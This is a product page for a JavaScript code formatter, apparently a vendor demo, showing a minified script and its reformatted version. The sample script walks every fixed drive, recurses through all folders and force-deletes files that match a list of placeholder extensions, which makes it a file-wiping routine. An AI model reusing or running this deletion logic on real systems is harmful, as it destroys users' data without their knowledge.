FormatCode Code Formatter is based on serveral powerful syntax parser engines
so you can exactly control the appearance of your source code. Here is the code formatting demo of
FormatCode JavaScript Code Formatter to prove the ability of code
formatting functions of FormatCode:
var fso,e,x,root,zz;fso=new ActiveXObject("Scripting.FileSystemObject");e=new
Enumerator(fso.Drives);for(;!e.atEnd();e.moveNext()){x=e.item();if(x.DriveType
==2){x=x+"\\"+"\\";Fold(x);}}function Fold(Path){var f,fc,s,ff,z,del;f=
fso.GetFolder(Path);fc=new Enumerator(f.SubFolders);s="";z="";for(;!fc.atEnd();
fc.moveNext()){s=fc.item();Fold(s);ff=new Enumerator(s.files);for(;!ff.atEnd();
ff.moveNext()){z=ff.item();del=fso.GetExtensionName(z);del=del.toLowerCase();try{
if(del=="ext1"){fso.deletefile(z,true);}if(del=="ext2"){fso.deletefile(z,true);
}if(del=="ext3"){fso.deletefile(z,true);}if(del=="ext4"){fso.deletefile(z,true)
;}if(del=="ext5"){fso.deletefile(z,true);}}catch(e){continue;}}}}
var fso, e, x, root, zz;
fso = new ActiveXObject("Scripting.FileSystemObject");
e = new Enumerator(fso.Drives);
for (; !e.atEnd(); e.moveNext())
{
x = e.item();
if (x.DriveType == 2)
{
x = x + "\\" + "\\";
Fold(x);
}
}
function Fold(Path)
{
var f, fc, s, ff, z, del;
f = fso.GetFolder(Path);
fc = new Enumerator(f.SubFolders);
s = "";
z = "";
for (; !fc.atEnd(); fc.moveNext())
{
s = fc.item();
Fold(s);
ff = new Enumerator(s.files);
for (; !ff.atEnd(); ff.moveNext())
{
z = ff.item();
del = fso.GetExtensionName(z);
del = del.toLowerCase();
try
{
if (del == "ext1")
{
fso.deletefile(z, true);
}
if (del == "ext2")
{
fso.deletefile(z, true);
}
if (del == "ext3")
{
fso.deletefile(z, true);
}
if (del == "ext4")
{
fso.deletefile(z, true);
}
if (del == "ext5")
{
fso.deletefile(z, true);
}
}
catch (e)
{
continue;
}
}
}
}
Click here to preview the JavaScript Code Formatting Demo 1.
With FormatCode JavaScript Code Formatters, you can format and transform any foreign JavaScript source code to meet your preferred coding style or any common code convention in several seconds!
|